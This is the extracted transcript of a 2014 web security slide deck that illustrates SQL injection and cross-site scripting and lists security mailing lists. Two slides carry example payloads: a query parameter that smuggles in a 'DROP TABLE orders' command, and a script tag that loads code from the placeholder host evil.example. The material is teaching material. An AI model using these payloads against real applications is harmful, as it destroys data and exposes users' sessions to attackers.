Upgrade to Pro — share decks privately, control downloads, hide ads and more …

There Is No Silver Bullet

There Is No Silver Bullet

Avatar for Harley Watson

Harley Watson

November 29, 2014
Tweet

More Decks by Harley Watson

Other Decks in Programming

Transcript

  1. GET  /tracker?order=12345”;   DROP  TABLE  orders;-­‐-­‐   SELECT  *  FROM

     orders  WHERE  order  =  “12345”;   DROP  TABLE  orders;-­‐-­‐”  AND  status  =  “pending”   Request  from   the  client  to  the  server   Request  from  the   webserver  to  the  database  
  2. GET  /hi?name=<script  src=“hep://evil.example/ l33thax.js”></script>   Hello,  <script  src=“hep://evil.example/ l33thax.js”></script>!  

    Request  from   the  client  to  the  server   Reply  from   the  server  to  the  client  
  3. Mailing  Lists   •  bugtraq   hep://www.securityfocus.com/archive/1   •  debian-­‐security-­‐announce

      heps://lists.debian.org/debian-­‐security-­‐announce/   •  fulldisclosure   hep://nmap.org/mailman/lis.nfo/fulldisclosure  
  4. Mailing  Lists   •  [email protected]   heps://hepd.apache.org/lists.html#hep-­‐announce   •  nginx-­‐announce

      hep://mailman.nginx.org/mailman/lis.nfo/nginx-­‐ announce   •  php-­‐announce   hep://php.net/mailing-­‐lists.php  
  5. By  placing  your  users’  informa.on  at   risk,  you  also

     risk  ruining  your   company’s  reputa.on.